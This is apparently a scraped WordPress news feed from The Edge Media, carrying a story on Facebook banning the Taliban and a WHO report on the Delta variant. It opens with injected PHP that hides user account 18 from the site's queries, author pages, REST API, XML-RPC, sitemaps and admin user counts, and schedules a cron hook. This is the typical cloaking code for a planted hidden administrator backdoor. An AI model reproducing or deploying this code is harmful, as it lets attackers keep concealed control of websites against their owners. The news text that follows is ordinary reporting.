add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post We have banned Taliban from our services under our Dangerous Organisation policies : Facebook appeared first on The Edge Media.
]]>The company says it has a dedicated team of Afghan experts to monitor and remove content linked to the insurgent group.
For years, the Taliban has used social media to spread its messages.
“The Taliban is sanctioned as a terrorist organisation under US law and we have banned them from our services under our Dangerous Organisation policies. This means we remove accounts maintained by or on behalf of the Taliban and prohibit praise, support, and representation of them,” a Facebook spokesperson told the BBC.
“We also have a dedicated team of Afghanistan experts, who are native Dari and Pashto speakers and have knowledge of local context, helping to identify and alert us to emerging issues on the platform,” the spokesperson said.
The social media giant said it does not make decisions about the recognition of national governments but instead follows the “authority of the international community”.
Facebook highlighted that the policy applies to all of its platforms, including its flagship social media network, Instagram and WhatsApp.
However, there are reports that the Taliban is using WhatsApp to communicate.
Facebook told the BBC that it would take action if it found accounts on the app to be linked to the group.
The post We have banned Taliban from our services under our Dangerous Organisation policies : Facebook appeared first on The Edge Media.
]]>The post Delta variant spreading faster than other variants of concern, shows WHO reports appeared first on The Edge Media.
]]>The latest data from the World Health Organization (WHO) showed a “substantial” uptick in the Americas and the Western Pacific, which jumped 30 per cent and 25 per cent, respectively.
An average of around 5,40,000 cases was reported globally each day over the past week as compared to 4,90,000 cases reported daily the week before.
The number of deaths reported this week increased sharply with over 69,000 deaths, a 21 per cent increase when compared to the previous week. The cumulative number of cases and deaths reported globally is almost 194 million and over 4 million respectively.
WHO said that over the seven days, the highest number of new cases was reported in the United States, which saw more than half a million new infections, representing a skyrocketing 131 per cent increase.
Of the four Covid-19 mutations that WHO has designated “variants of concern”, the UN agency said that the Alpha variant is present in 182 countries, Beta is in 131, Gamma in 81 and after reaching eight new countries in the past week, the Delta variant is now in 132 countries
The post Delta variant spreading faster than other variants of concern, shows WHO reports appeared first on The Edge Media.
]]>